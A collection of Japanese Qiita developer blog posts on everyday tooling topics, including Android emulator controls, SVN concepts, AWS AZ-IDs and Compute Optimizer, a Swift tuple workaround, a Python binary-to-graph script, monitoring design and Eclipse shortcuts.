OmniAICreator/Qiita-1.07M huggingface dataset:
AndroidStudioのエミュレータで使えるExtended Controlsについて



# やり方

![スクリーンショット 2024-09-15 19.28.20.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2394054/0d815cf4-d063-8c1f-3eec-f31b928f46fa.png)

押すとこちらの画面が出てくる
![スクリーンショット 2024-09-15 19.16.04.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2394054/db930420-7889-2728-7e31-d6e525c300a6.png)



それぞれ紹介していきます。


|要素|内容|
|:---|:---:|
|Location|エミュレートされたデバイスの場所をシミュレートできる|
|Displays|最大 2つのディスプレイを追加できる|
|cellular|さまざまなネットワーク状態をシミュレートできる|
|Battery|デバイスのバッテリー特性をシミュレートして、さまざまな条件下でのアプリのパフォーマンスを確認できる|
|Camera|エミュレータでカメラを開いたときにシミュレートされるシーンに写真を読み込むことができる|
|Phone|着信電話やテキスト メッセージをシミュレートできる|
|Directional pad|方向パッド コントロールを使用できる|
|Microphone| マイクからオーディオ入力を受信|
|Fingerprint|指紋スキャンをシミュレートできる|
|Virtual sensors|傾きや回転などのジェスチャをシミュレートできる|
|Bug report|エミュレータで問題が発生した場合のバグレポート|



# 参考
詳しくはこちら

https://developer.android.com/studio/run/emulator-extended-controls
SVN(Subversion)を基本からまとめてみた【動作・基本用語】

## 1.Subversionはクライアント・サーバ型

- サーバにデータベースである『リポジトリ』を置いて管理。PC側のフォルダ『作業コピー（ワーキングコピー）』を置いて、クライアント・サーバ間でファイルを同期する。

##### ※ 作業コピーはローカルPC上にフォルダとして作成する。OS上のファイルやフォルダに見えるが、Subversionの管理下にある

## 2. クライアント・ソフトが必要

- クライアント・サーバ型なので、通常のWebブラウザではなく、クライアント・ソフトが必要。

※ Subversion自身のクライアントはコマンドで使用する。それでは不便なので、TortoiseSVNのようなGUIを備えた専用ソフトが広く使われる

## 3. サーバとの同期は『明示的に』行う

- 更新やコミットしない限り、リポジトリの最新が反映されない

| 作業コピー | コミット |　リポジトリ |
| :---: | :---: | :---:  |
| &lArr; | チェックアウト / 更新| |
|  | 同期 |&rArr;|

## 4. リポジトリ

同期する対象のファイル構造を『リポジトリ』という。
サーバにリポジトリを作成し、その際にローカルからコピー（インポート）する。

## 5. 作業コピーとSVNチェックアウト

サーバのリポジトリを個々のローカルに最新版をコピー（svnチェックアウト）する。
⇨ これで皆が同じデータを持つ

ローカルの情報は『作業コピー』という。

## 6. SVNコミット、リビジョン



## 参考サイト
[超簡単!Subversion入門（概念編）ーSubversionの動作や用語の基本について解説します](https://www.youtube.com/watch?v=aRhAhKRXYuQ&t=760s)
MergeClip: AIチャットを活用する効率的なテキストファイル共有ツール

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3940/29b2d881-abdb-d25a-29ba-4800471eb45f.png)

## はじめに

私が開発したMacOS用ツール「[MergeClip](https://koriym.github.io/MergeClip/index.ja.html)」を紹介します。複数のテキストファイルをAIチャットで効率的に分析したい！でも、一つずつコピペするのは面倒...そんな悩みを解決するツールです。

## MergeClipとは？

MergeClipは、複数のテキストファイルを素早く結合し、Macのクリップボードにコピーするツールです。特にAIチャットボットとのファイル共有を効率化することを目的としています。

### 主な特徴

- 複数のテキストファイルを効率的に結合
- ファイル名を保持したまま処理が可能
- バイナリファイルを自動的に除外
- 多言語対応（ファイル拡張子に基づく）
- クイックアクションまたはコマンドラインから使用可能
- 処理したファイル数を通知

## なぜMergeClipを開発したのか？

最近、ChatGPTやGitHub Copilotなどのツールの登場でAIの活用が日常的になってきました。しかし、複数のファイルを同時に分析してもらいたい場合、一つずつコピペするのは非効率だし大変です。またファイルをアップロードできるインターフェイスがあっても特定の拡張子(phpなど)が禁じられて使えないこともあります。

なにか問題を分析してもらう時に該当ファイルだけでなく、その関連のファイルも必要になることも多いです。例えばソースファイルが必要としているヘッダーファイルも必要などなど。AIに関連するなるべく多くのコンテキストを与えると回答の質があがっていくことを実感していましたが、いまのチャットボットのUIは複数ファイルを効率的に伝えることが難しいと感じていました。

そこで、この作業を自動化するMergeClipを開発しました。

## MergeClipの使い方

### インストール方法

1. [MergeClip](https://koriym.github.io/MergeClip/MergeClip.zip)をダウンロード
2. ダウンロードしたファイルを解凍して開く
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3940/3a1bd0ab-8733-71e3-3010-48530e80b56d.png)

3. インストールボタンで設定を完了させてください。`~/Library/Services/`にファイルが格納されます。

### 基本的な使用方法

1. Finderでファイルまたはフォルダを選択
2. 右クリックして「クイックアクション > MergeClip」を選択
3. MergeClipがコンテンツをクリップボードにコピー
4. 処理されたファイル数がダイアログで通知されます

## MergeClipの出力フォーマット

MergeClipは以下のようなフォーマットで出力します：

````
ファイル名1.ext
```ext
ファイル1の内容
```

ファイル名2.py
```py
ファイル2の内容
```
````

このフォーマットにより、AIが各ファイルの内容と言語を容易に識別できます。また、最大の入力文字数はモデルによって大きく異なります。

## MergeClipの活用例

たとえば以下のような活用はどうでしょうか？

### 1. プロジェクト全体へのコメント付与

複数のソースファイルを一度にAIに提供し、一括でコメントを付与してもらいます。ファイル名が保持されているので、AIからの提案を元のファイルに簡単に反映できます。

### 3. 国際化・ローカライゼーションの効率化

例えばオープンソースで英語のマニュアルしか用意されていないときにMDファイルが入ったフォルダでmergeして一括でAIに提供し、翻訳や一貫性チェックを依頼できます。たとえばClaude 3.5 sonnetならそれぞれのファイルがアーティファクトとして生成されるのでダウンロードも容易です。ファイル名を伝えてる事も便利に働きます。

### 2. コードリーディングアシスタント

プロジェクト全体の概要を尋ねたり、重要なクラス/メソッドをリストアップしてもらったり、どのコードから読み始めるといいかアドバイスを得ます。READMEとソースファイル全体に加えテストも含めるとAIの理解が深くなり良いアドバイスを得ることができます。

### 4. APIドキュメントの自動生成・更新

APIの実装ファイルとAPI仕様ファイルを一緒にAIに提供し、実装とAPIの仕様の整合性をチェックしてもらう。

### 5. プロジェクト構造の分析と最適化

プロジェクト全体のディレクトリ構造とファイル内容をMergeClipで結合し、AIに分析を依頼。プロジェクト構造の問題点や最適化案を効率的に得られます。

## まとめ

MergeClipを使うことで、AIとの対話をより効率的に、そして文脈に即したものにできます。複数ファイルの同時分析や、プロジェクト全体の最適化など、幅広い開発タスクで活用できるツールです。

同様のことは専用のエディタやAPIの利用でも実現できますが、高度なAIモデルのAPI料金は高額な事があります。チャットではリミットの制限はありますが、定額の安心感もあります。AIとのコミニケーションの幅を増やすという意味でも一度試してみてください。MergeClipがAIとの対話に役立てば嬉しいです。

## リンク

- [GitHub Repository](https://github.com/koriym/MergeClip)

最後に、このツールを使って皆さんがどんなことを実現したのか、ぜひコメント欄で教えてください！新しい使い方や改善点のアイデアもお待ちしています。😊
サンフェア栃木 子機ロボット制作 その1 (大会での反省点など)

## テクノフェア 子機ロボット制作 その1

宮崎県立都城工業高等学校 ロボット競技部はJLCPCBのスポンサーを受けています。

![JLCPCB-logo.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3881936/95c7a9ff-fa58-b4a1-79ed-3a482406b7c4.png)

PCB発注ならJLCPCB!!　最近需要が高まっている多層(6層など)PCB作成も出来ます。
現在たった**2ドル**で5枚、2層、サイズ 10cmx10cmどの色のPCBでもJLCPCBで発注できます！
**新規ユーザーは$60クーポンを獲得できるそうです**。この機会に発注してみてはいかがですか？

英語発注システム
https://jlcpcb.com/JPV/
日本語発注システム
https://jlcpcb.com/jp/

https://x.com/JLCPCB_Japan


### 自己紹介

記事を閲覧いただきありがとうございます。
都城工業高校 ロボット競技部のTomoyaです。
定期的に、大会に向けてロボット制作の様子を掲載していきます。
疑問点などありましたら、気軽にコメントしていただけますと幸いです。

早速ですが、2024/8/25に**サンフェア栃木 宮崎県予選会**がありましたので、子機ロボットの紹介、改善すべき所をまとめていきたいと思います。
親機の紹介はまた後日載せます。

## 子機ロボットの紹介

さて、私は初めて全自動の子機ロボットを制作する担当だったのですが、リミットスイッチ、加速度センサー、赤外線センサーなどの機器をArduinoでどのように制御するか、右往左往しながら調べてプログラムを作り上げました。

この機体は、坂から降りて、ボックスを回収し、所定の位置へ戻ってくるという動作をするのですが、Daisen DSR-1202を使っていると、モーターの出力が左右一定では無くなったり、I2C通信が上手くいかないなどの不調があり、途中で回転したりしておりました。
本番では、リミットスイッチが反応しない、モータードライバが反応しないなどのトラブル続きという結果に...

また、デジタルサーボモーター(35kg)に加速度センサーのノイズなどで、誤作動(ハンチング動作)をしていました。
![無題.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3881936/6c7f84b1-7de1-bfb9-7147-9ea9fd923f8d.png)

こちらが、完全動作した時の映像です。(大会当日の2:30まで調整をしていました)

<iframe width="560" height="315" src="https://www.youtube.com/embed/okKtWRhaspY?si=nXVB_rcEFnYxptwJ" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen></iframe>



## 今回のロボットの改善すべき所
- 前後左右へまっすぐ進んでくれない
- ロボットが回転しすぎた場合に補正できていない
- アームの開閉に使っているサーボモーター(S03T/2BBMG)の不良
- 赤外線センサーの接触不良
- Daisen　DSR-1202のI2C通信が動作しない問題
- 車輪部分をバネサスペンションにしたことによるタイヤがハの字になる問題
- 加速度センサーとデジタルサーボモーターを一緒に動かすと、ハンチング
- 機体重量が重すぎる(4.45kg)
- リミットスイッチが反応しにくい

 上記9つほどの欠点を抱えており、次の大会ではこれら全てを改善します。

 ## 次の大会に向けて

 次の**みやざきテクノフェア**(2024/11/8,11/9開催) という大会に向けて、機体の設計をやり直す、モータードライバを変更、バネサスペンションの変更などをしていきたいと思います。次のロボットの動作などは**みやざきテクノフェア**で見ることができるのでぜひ来てください。とてもロマンのある機体を皆さんに見せれたらと思っています。お楽しみに。ここまで見てくださりありがとうございました。
AWSアカウントによらずアベイラビリティゾーンを識別できるAZ-IDについて

# 1.はじめに
マルチアカウントで構築したシステムのAZ障害を想定した復旧テストでは、AZ-IDを意識する必要がありました。この記事では、AZ-IDについて詳しく説明します。

# 2.アベイラビリティーゾーン（AZ）とは
AWSのアベイラビリティゾーン（AZ）は、AWSリージョン内にある物理的に分離されたデータセンターの集合です。各AZは異なる電源供給やネットワーク接続を持ち、障害が発生した際には他のAZが影響を受けないように設計されています。システムを複数AZに冗長的に構築することでアプリケーションやサービスの可用性が高まり、災害時のリスクを軽減することができます。

# 3.AZ-IDとは
アベイラビリティゾーン（AZ）を識別するためのコードとして、AZ-IDが用いられています。AZ-IDはAWSが各AZを一意に識別するためのもので、AZの名称とは異なることに注意が必要です。

多くの方が「東京リージョンのAZ」というと、以下表記載の通り、「ap-northeast-1」＋「アルファベット1文字」の形式で表現される名称を思い浮かべるでしょう。これらの名称は、AWSがアベイラビリティゾーンをアカウントごとにランダムにマッピングしたものであり、物理的なアベイラビリティゾーンそのものを指すわけではありません。

|AZ名  |
|---|
|ap-northeast-1a  |
|ap-northeast-1c |
|ap-northeast-1d |

一方、物理的なアベイラビリティゾーンは、”apne1-az”＋「数字1桁」の形式で示されるAZ-IDという一貫した識別子によって表現されます。

|AZ-ID |
|---|
|apne1-az1  |
|apne1-az2|
|apne1-az4|

AZ-IDとAZ名は1対1に紐づきますが、以下の図の通りAZ名とAZ-IDのマッピングは、アカウントごとに異なることがあります。例えば、アカウントAでは「ap-northeast-1a」と呼ばれるAZが、アカウントBでは「ap-northeast-1c」として表示されることがあります。


![AZ-ID記事-ページ2.drawio.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3683522/b2cc3558-5194-2f84-052f-39fd80988576.png)



アカウントごとのAZ名とAZ-IDマッピング値についてコンソール画面から確認できます。
確認方法は以下の通りです。

①AWSコンソールから「Resource Access Manager」を選択する。
②右下に表示されるお客様のAZ IDで確認する。

![AZ-ID記事②.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3683522/54c5e3e2-a9ab-e45d-b885-57ce3585e2b9.png)


# 4.AZ-IDを意識するべきだったと感じた具体例
#### ① 障害テストの実施
マルチAZ構成のWEBシステムをアカウントAで構築し、アカウントBにある共通機能としてマルチAZで構築されているプロキシサーバーなどを利用していました。
障害テストでは、マルチアカウントで同一の物理的アベイラビリティゾーン（AZ）に配置された全てのリソースが障害を起こした場合でも、冗長化された別のAZにあるリソースでシステムが問題なく稼働することを確認する必要がありました。

初めはAZ名（例：ap-northeast-1a）を用いてテストで障害発生させるリソース決定していました。しかし、AZ名はAWSアカウントごとに異なるため、同じAZ名でも別のアカウントでは異なる物理的AZを指すことがあり、実際の障害時の挙動を正確に再現できないことがテスト設計の時に分かりました。最終的に、AZ-ID（例：apne1-az1）を使い障害発生リソースを決めることで、実際のAZ障害が起きた時の挙動を起こし、テストの品質を担保できました。

#### ②実際にAZレベルの大規模障害が起きた時
大規模なAZ障害が発生した際には、どのアベイラビリティゾーン（AZ）が影響を受け、どのAZが正常に稼働しているかを正確に把握することが非常に重要です。システムの正常性確認には、障害が発生したAZと正常なAZを明確に識別し、システム全体の可用性設計が問題ないことを慎重に確認する必要があります。

AZ-IDを理解していないと、実際には一つのAZのみが障害を起こしている場合でも、SNSなどでは「ap-northeast-1a」や「ap-northeast-1c」といった異なるAZ名で報告され、複数のAZが障害を起こしていると誤解する可能性があります。

# 5.まとめ
複数アカウントで可用性設計を行う際は、物理的なAZを一意に識別するためにはAZ-IDで判断するという点をしっかり理解しておいたほうが良いと思います。この記事が参考になれば幸いです。
タプルをcontains対応させる一工夫【swift】

腐ってやがる...まだ、早すぎたんだ！

# はじめに
- [またです](https://qiita.com/kei_tnk/items/871c71ffe84b7caf12a2)。また、swiftのタプルのクソ仕様に苦しめられたので、対応します。
- 今回のお題はこれ、配列のメソッドcontainsです。
```swift
let nums = [1,2,3,4]
print(nums.contains(1)) // true
```

# 今回の問題
- containsをタプルに使ってみたら、エラー発生です。
```swift
let tpls = [(1,2),(3,4)]
print(tpls.contains((1,2)))
- error: missing argument label 'where:' in call
- error: cannot convert value of type '(Int, Int)' to expected argument type '((Int, Int)) throws -> Bool'
```
- swiftのタプルは腐ってやがるなぁ...森にお帰りくださいと言いたくなるけど、そういうワケにもいかないので、誰か同じ被害に遭ってないかな？と思ったら、qiitaに先人がいらっしゃいました。助かった！

https://qiita.com/ken0nek/items/881c49fe481ebca1d0c3

- ...9年前から、swiftは進化してないのか...それとも、タプルはswiftで使っちゃ駄目なの？

# swiftで苦労している君に紹介するコード
- 先人の知恵を借りて解決したから、「捧げる」じゃなくて、「紹介する」にしました。
- はいこれ
```swift
extension Sequence {
    func contains<T:Equatable,U:Equatable>(_ element: (T, U)) -> Bool {
        return (self as! [(T, U)]).contains { $0 == element }
    }
}

let tpls = [(1,2),(3,4)]
print(tpls.contains((1,2))) // true
print(tpls.contains((2,3))) // false
```

# さいごに
- ここまで、swiftでタプルが冷遇されているのをみると、使ったら問題でも起きちゃうのかな？と不安になるね。ドキがムネムネしちゃいます。
binファイルからデータを10進化してpythonでグラフを作成する

import struct
import os
import matplotlib.pyplot as plt

def get_unique_filename(base_name):
    """
    Check if a file with the base name already exists, and if so, 
    generate a unique filename by appending an increasing number.
    """
    if not os.path.exists(base_name):
        return base_name
    
    base, ext = os.path.splitext(base_name)
    counter = 1
    while True:
        new_name = f"{base}_{counter}{ext}"
        if not os.path.exists(new_name):
            return new_name
        counter += 1

def bin_to_decimal_array(input_file, output_base_name):
    output_file = get_unique_filename(output_base_name)
    
    with open(input_file, 'rb') as bin_file, open(output_file, 'w') as txt_file:
        while True:
            # 2バイトずつ読み取る
            byte_chunk = bin_file.read(2)
            if not byte_chunk:
                break  # ファイルの終わりに達したら終了
            
            # 2バイトをリトルエンディアンとして整数に変換
            number = struct.unpack('<H', byte_chunk)[0]
            
            # 整数値をファイルに書き込み
            txt_file.write(f"{number}\n")
    
    print(f"Data has been written to {output_file}")
    return output_file

def plot_data(input_file):
    # データの読み込み
    with open(input_file, 'r') as f:
        data = [int(line.strip()) for line in f]

    # 時間の配列を生成 (1msごとに取得されたデータ)
    time = range(len(data))
    
    # グラフの作成
    plt.figure(figsize=(10, 5))
    plt.plot(time, data, marker='o', linestyle='-', color='b')
    plt.title('Speed vs Time')
    plt.xlabel('Time (ms)')
    plt.ylabel('Speed (mm/ms)')
    plt.grid(True)
    plt.savefig('speed_vs_time.png')  # グラフを画像ファイルとして保存
    plt.show()

# 使用例
output_file = bin_to_decimal_array('Eval_Param.bin', 'Eval_Param_Out.txt')
plot_data(output_file)
よりベストな運用監視を設計する上でのポイント

# はじめに

運用監視サービスを選ぶにあたって
- グラフの種類や使い方ってちゃんと考えて整理すると色々あるけど、理解して使ってますか？
- なんのアラートを通知するべきか、整理できてますか？

# 先にまとめ
- あらゆる仕事に共通する話ではありますが、運用監視においても「目的や方針」を定めることは重要

- 方向性がぶれると、不必要なメトリクスやアラートを作りすぎて、必要な情報がすぐに探せなかったり、次第に見なくなったりするかも知れない

- そのため、さまざまなデータの切り口や、どのサービスを使えば自分たちにとってベストプラクティスか？メトリクスの種類やグラフの種類、アラートの定義などをルール化して整理するのは大事

# 1. 優れたデータを収集する

不要なアラートを抑えつつ、迅速な調査を可能にするために
優れたデータを収集するのがとても大切

- 優れたメトリクスデータは迅速な調査を可能にして、潜在的な問題やパフォーマンスの問題の原因を特定しやすい

### ビジネスメトリクス
- アプリ内でのユーザーの購入履歴
- 広告動画の視聴時間
- コンバージョン率
- サブスクリプション数
- ...etc

↓

事業の方向性を決めるのに役立つメトリクスだが
自分たちにとって何がビジネスメトリクスなんだろうか

### システムメトリクス

- CPU
- メモリ
- リクエスト速度
- 待ち時間
- クエリ速度
- エラー率
- ...etc

↓

このタイプのメトリクスは、アプリの機構が実際にどの程度良好に機能しているかに関する情報を提供する

### ワンポイント
監視のためのより良いデータについて

- **1.簡単に理解できる**
素早く判断できる必要がある
- **2.粒度を合わせる**
メトリクス収集頻度が低すぎたり高すぎると、有意なデータが得られなくなる場合がある
- **3.長期間の保持**
あまりにも早い段階でデータを破棄すると、過去に何が起こったのかを示す重要な情報が失われる


# 2. 本当に重要な問題についてアラートを発行する
何でもかんでもアラートにして通知してしまうと、本当に大切な情報を見失ってしまうことになる
そのため、アラートの緊急度を定義して

### （例）アラートの緊急レベル
**記録するアラート（重大度が低い場合）**
- 介入しなくても解決されることが多い
将来的に参照または調査する時に利用できる



**通知するアラート（重大度が中程度の場合）**
- 介入が必要だが、すぐに対応する必要はない
メールを送信するか、チャットで通知するのが良い

**緊急メッセージを送信するアラート（重大度が高い場合）**
- 発生した時間に関わらず、即時対応が必要となる


### アラートマッピング例
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/54858/7bdc7c65-31c6-ab9d-2aa9-b9f2e8333f22.png)



# 3. 根本原因を効率的に見つける

問題が発生している可能性があることがアラートで通知されたら、体系的な調査を迅速に実施できるよう
関連するグラフをダッシュボードに集約して、相関性を分析できるようにする

例えば、SQSの遅延アラートが発生した場合

- データ量
- エラー率
- 処理速度

など、関連するサービスで必要な情報をあらかじめ設定しておくことで素早い調査が行える

![スクリーンショット 2024-09-22 17.28.16.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/54858/45d14097-6441-aea0-73c1-882aba48878a.png)


# 4.監視するための最適なツール

監視する必要があるものを認識できると
ビジネスメトリクスやシステムメトリクスのデータが可視化できるツールが必要となってくる

何を選ぶべきなんだろうか？


**GoogleAnalytics**
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/54858/d339ea9e-a0d0-d052-cf2f-2b9dafe643b4.png)

GoogleAnalyticsを利用したビジネスメトリクスの監視しやすい

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/54858/4fff1f2e-b75b-8ad7-80ba-681ba2d38e73.png)

Firebaseを利用したシステムメトリクスの監視

### ワンポイント

- 多くのサービスを利用して画面を切り替えて情報を監視するのは運用や情報追加が大変
- 1つのダッシュボードに情報を集約して一目で最も重要な情報を確認できるようにしておきたい


### まとめ
- そういう意味だとGrafanaはさまざまなリソースと連携できるので情報が集約できるGrafanaの選ぶのは割と理にかなってはいそう（ビジネスメトリクスやシステムメトリクスなど様々なサービス連携が可能）

- AWSを利用しているならAmazon Managed Service for Grafanaも利用できる
Compute Optimizerってなんだ…

# 学習前
ComputeというからにはEC2とかLambdaとかECSをなんやらかんやらしてくれるサービス？
Optimizerの意味は知らん！

# Compute Optimizerとは
>ワークロードに最適な AWS リソースを推奨し、機械学習を使用して過去の使用状況に関するメトリクスを分析することで、コストを削減し、パフォーマンスを改善します。

簡単に言うと、**機械学習を用いてAWSサービスを評価し、パフォーマンスやコストを適切な状態にしてくれるサービス**です。

`Optimize` は「最適化」という意味で、IT用語で「良い感じに(早く楽になるように)調整してくれる機能」だそうです。DB関連ではSQLをチューニングしてくれる機能とのこと。ｼﾗﾅｶｯﾀ…

例えばEC2では、下記の2つを比較して評価してくれます。
- EC2のインスタンスタイプ
- 実際のワークロード(CloudWatchメトリクスを元にした、一定期間の使用率やコスト)

ここで、ワークロードに対して適切なEC2インスタンスタイプが割り当てられていれば良いのですが、そうでない場面も多々あります。

極端な例ですが、平均CPU使用率が1%、ピーク時でも3%程度な状態を想像してください。
どう考えても、適切なインスタンスタイプが割り当てられているとは思えませんよね。明らかにインスタンスタイプが大きすぎます。これで膨大なコストを払い続けることになり、最適化されているとは言えません。

そんな過剰なインスタンスタイプが設定されている場合に、**「こっちのインスタンスタイプの方が適切やで」** と教えてくれるイメージです。

また、逆も然りで、インスタンスタイプが小さい時にも教えてくれます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3616210/94be6c32-4e24-7bc2-ed2b-1063b819a209.png)


## 利用可能サービス
コンソールで確認したところ、下記の7種類。
- EC2インスタンス
- Auto Scalingグループ
- EBSボリューム
- Lambda関数
- RDS DBインスタンス
- FargateでのECSサービス
- ライセンス(SQLなどサードパーティ製の商用ソフトウェアライセンス)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3616210/b746bf97-4bd9-9466-7927-76321719ff4c.png)

## 利点
大きく分けて、下記の4つです。
- ワークロードの詳細設定を最適化
- パフォーマンスに関する問題を解決する
- レコメンデーションによるコスト削減額を増やす
- ライセンスコストの最適化

総じて、**パフォーマンスやコストを良い感じにしてくれるんだな〜** という認識で良いと思います。

:::note
追加で良いところは、**インスタンスなどを停止することなく評価してくれる点**です。
CloudWatchメトリクスを元にして比較・評価するので、現在稼働中のサービスもきちんと評価してくれます。
:::

## 使い方
使い始めるのはめっちゃ簡単です。

Compute Optimizerコンソールを開き、「ご利用開始」をクリックします。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3616210/c9a6b21c-1393-7123-4dd2-39e61ea523a9.png)

その後、オプトインをクリックするだけ！
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3616210/36c7fe50-cd1b-d977-e8a1-f39feba2a514.png)

※OrganizarionsやIdentity Centerが有効になっている場合は、それに応じた設定も出てくるようです。

すると、ダッシュボードが表示され、ワークロードが可視化されます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3616210/351335c1-6b59-f8f0-5ad7-e343a2f8e60c.png)

サービスごとに分類して表示もしてくれるようです。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3616210/c2d8a6a1-2347-8dfd-3946-573079e1246b.png)

あとはこれを参考にして分析し、適切なインスタンスサイズなどに変更しましょう。

:::note warn
評価のために必要なCloudWatchメトリクス要件があります。これは各リソースによって異なるので、要注意です。
詳しくは[こちら](https://docs.aws.amazon.com/ja_jp/compute-optimizer/latest/ug/requirements.html)をご参照ください。

:::

## 余談：CDKで使えるの？
使えませんでした；；
まぁコンソール上から2クリックで有効化できるし、わざわざCDKで書く意味もないですよね…
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3616210/61866d82-a5f3-681c-f64e-3980a5c44cb2.png)

# 学習後
Compute系のサービスを適切な設定にしたいときに使うサービス！

サービスリリース前でも、リリース後でも、有効化しておくべきサービスのように感じました！
ただ、有効化するのは簡単でも実際に評価してもらうとなると少し手間がかかりそうなので、実際の使用時には調査必須だと思います！
AIとChatGPT-4oを使って簡単に可愛いキャラクターを生成する方法

高校3年生の[ここ]と申します。今回は、私が取り組んだ研究活動「ゆるふわキャラの画像生成チャットボット」の開発についてご紹介したいと思います。

私は、アニメやゲームのキャラクターが大好きです。ふと思ったのは、『もしAIで自分だけの「ゆるふわ」キャラを作れたら面白いだろうな』ということ。そんな思いから、ChatGPT-4oとDALL・Eを使って、誰でも簡単にキャラクターを生成できるチャットボットを作ることに挑戦しました。

試行錯誤の末、家族や友人に驚かれるほど可愛いキャラクターを作れるようになりました！この記事では、その開発のプロセスとポイントを紹介します。ぜひご覧ください！

プロジェクトの背景

私のプロジェクトは、女子高生をターゲットに、彼女たちが好む「ゆるふわ」なアニメキャラクターを自動生成することを目指しました。
具体的には、以下の2つの技術を組み合わせて使用しました：

ChatGPT-4o: ユーザーインターフェースとして使用し、ユーザーからの入力を受け取り、それに応じた画像生成の指示を行う。
DALL・E画像生成機能: ChatGPT-4oからの指示をもとに、実際のキャラクター画像を生成。
開発のポイントと工夫

開発にあたり、いくつかのポイントに特に注力しました：

ChatGPTの設定とプロンプト設計: ChatGPTを「優秀なイラストレーター」として機能させるため、日本語でカジュアルな敬語を使用する設定にしました。また、ユーザーが細かい指示（例：「明るい背景で、キャラクターが笑顔を見せている」など）を与えられるよう、プロンプトの設計に工夫を凝らしました。
画像生成のテーマ設定: 「ゆるふわ」「アニメキャラ」「カラフル」をテーマに、ユーザーの好みに合わせた画像を生成することを重視しました。特に、私自身が飼っているカニーヘンダックスフンドの特徴を反映させたキャラクター画像も生成することができました。
チャットボットのテストと評価

完成したチャットボットを使って、家族や友人に実際に画像を生成してもらいました。その結果、次のような高評価を得ることができました：

「とても可愛い画像が生成できた」
「カニーヘンダックスフンドの特徴をよく捉えている」
「アニメ好きにはたまらない『ゆるふわ』キャラクターが生成できて嬉しい」
学びと今後の展望

このプロジェクトを通じて、以下の学びを得ることができました：

プロンプト設計の重要性: ユーザーの指示に応じた適切な画像を生成するためには、的確なプロンプト設計が欠かせないことを学びました。
ユーザー中心の開発: ユーザーのニーズに応じた機能を提供することの重要性を実感しました。
また、AI技術を活用してクリエイティブな活動を実現する楽しさも再確認できました。今後は、ユーザーからのフィードバックを基にさらに改良を重ね、より多くの人々に喜ばれるツールを作ることを目指しています。

まとめ

今回の研究活動は、私にとって大きな成功体験となり、今後もAI技術を活用した新たな挑戦に取り組むための強い動機付けとなりました。
ですが、画像形式をjpgにできなかったり、たまに16:9のサイズを無視したり、思ったような画像にならない事もあります。
より良く結果が出せるよう皆さんからも、ぜひフィードバックやご意見をいただければ嬉しいです。

発表する機会がなくQiitaに投稿してみました。
よろしくお願い致します。

![IMG_0609.jpeg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3870137/d24881a0-4c38-4fe3-b6aa-3660b6863b3b.jpeg)

![IMG_0608.jpeg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3870137/b974c734-70ac-776d-a87f-611076544175.jpeg)
![IMG_0610.jpeg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3870137/37fc1440-3b9f-b6fe-ae42-138543370b8f.jpeg)
eclipseで開発時に使用するショートカット、デバッグ方法

eclipseのショートカットをうまくまとめた記事はたくさんありますが、自分用のメモも兼ねて業務中よく使うショートカットと、追加でデバッグ時に使う機能をまとめてみました。

# ショートカット

### F3
クラスやメソッドの宣言場所へ移動
・メソッドが呼び出されていて、その実装を見たくなることが多々あるため、そういう時に活躍します。

### Ctrl+t
インターフェース、抽象クラスの実装へ移動
・F3で見に行った先がインターフェースだと、結局実装が見られないためこのショートカットを使用して
実装されているクラスを探しに行きます。

### Ctrl+Alt+h
メソッドをどこで呼び出しているのか確認
・使い方がよくわからないメソッドのあるときはこれで他に使用されている箇所を見ることができるため
使い方の参考にできたり、あるメソッドを改修する際に影響範囲を調べることができる
（テストすべき点がわかりやすくなる）ショートカットです。

### Ctrl+Shift+i
デバッグ中の変数の中身の確認
・デバッグ中は中身を確認したい変数にカーソルを当てたり変数タブから中身を確認できたりしますが、コード中の変数を選択してこのショートカットを使用すると同じように確認できます。

### Ctrl+Shift+r
ファイル名検索
・検索窓が出てくるため、ファイル名が分かっていればすぐに目当てのファイルに飛ぶことができます。その際、同じようなファイル名も一覧に出てくることがあるため注意です。

### Alt+→、Alt+←
直前、直後にいたソースへ移動
・F3で実装を見に行ったあとなど、元々見ていたソースに戻りたいときはこれで戻ることができます。

### Ctrl+o
アウトライン表示
・ソース内のメソッドなどが一覧で見ることができます。あまり使いませんが。

### Ctrl+.
次のエラーへ移動
・警告やエラーが出ている箇所に移動します。ファイルをエラー箇所までスクロールするのが面倒なので使用します。

### Ctrl+Alt+k
スネークケースとキャメルケースの切り替え
・変数名はキャメルケースだけど定数名はスネークケースがルール、みたいなときに便利です。

### Ctrl+Shift+x、Ctrl+Shift+y
大文字、小文字化
・定数は大文字にする、というルールがある際に便利です。

### Ctrl+/
コメントアウト

### Alt+Shift+c
メソッドの引数の変更
・メソッドを改修したいときに使用します。

### Ctrl+space
入力候補の表示

### Ctrl+h
単語の検索
・eclipse版のGrep検索のようなもの？サクラエディタのほうが早かったりするので時と場合により使っています。

### Alt+Shift+j
javadoc作成
・ほかのメソッドのコメントをコピペで作ることも多いですが、開発初期は重宝します。

### Ctrl+Alt+u
SVN更新

### Ctrl+Alt+c
SVNコミット

### Ctrl+Alt+a
SVN注釈の表示
